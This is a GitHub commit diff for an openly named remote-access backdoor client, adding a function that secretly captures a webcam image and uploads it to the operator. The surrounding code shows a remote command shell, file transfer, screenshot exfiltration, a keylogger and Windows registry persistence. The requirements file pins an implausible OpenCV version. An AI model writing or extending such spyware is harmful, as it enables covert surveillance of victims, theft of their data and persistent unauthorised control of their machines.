Skip to content

Commit 8ea378f

Browse files
committed
v0.11.1-alpha
1 parent 761be71 commit 8ea378f

File tree

3 files changed

+266
-59
lines changed

3 files changed

+266
-59
lines changed

client/backdoor.py

+36
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
# Standard library imports
2+
import cv2
23
import json
34
import os
45
import shutil
@@ -52,6 +53,7 @@ def download_file(file_name):
5253
def upload_file(file_name):
5354
f = open(file_name, 'rb')
5455
s.send(f.read())
56+
f.close()
5557

5658

5759
def download_url(url):
@@ -73,6 +75,36 @@ def screenshot():
7375

7476
# TODO: screenshot other monitors
7577

78+
79+
def capture_webcam():
80+
webcam = cv2.VideoCapture(0)
81+
webcam.set(cv2.CAP_PROP_EXPOSURE, 40)
82+
83+
# Check if the webcam is available
84+
if not webcam.isOpened():
85+
print("No webcam available")
86+
return
87+
88+
ret, frame = webcam.read()
89+
90+
# Check if the webcam was able to capture a frame
91+
if not ret:
92+
print("Failed to read frame from webcam")
93+
return
94+
95+
webcam.release()
96+
97+
# Save the frame to a file
98+
if platform == "win32" or platform == "darwin" or platform == "linux" or platform == "linux2":
99+
is_success, im_buf_arr = cv2.imencode(".webcam.png", frame)
100+
if is_success:
101+
with open('.webcam.png', 'wb') as f:
102+
f.write(im_buf_arr.tobytes())
103+
else:
104+
print("Failed to save webcam image")
105+
106+
107+
76108
def persist(reg_name, copy_name):
77109
file_location = os.environ['appdata'] + '\\' + copy_name
78110
try:
@@ -129,6 +161,10 @@ def shell():
129161
screenshot()
130162
upload_file('.screen.png')
131163
os.remove('.screen.png')
164+
elif command[:6] == 'webcam':
165+
capture_webcam()
166+
upload_file('.webcam.png')
167+
os.remove('.webcam.png')
132168
elif command[:12] == 'keylog_start':
133169
keylog = keylogger.Keylogger()
134170
t = threading.Thread(target=keylog.start)

client/requirements.txt

+1
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
# pip install pipreqs
55
# pipreqs /path/to/project
66

7+
opencv-python==1.25.1
78
PyAutoGUI==0.9.53
89
pynput==1.7.6
910
requests==2.28.0

0 commit comments

Comments
 (0)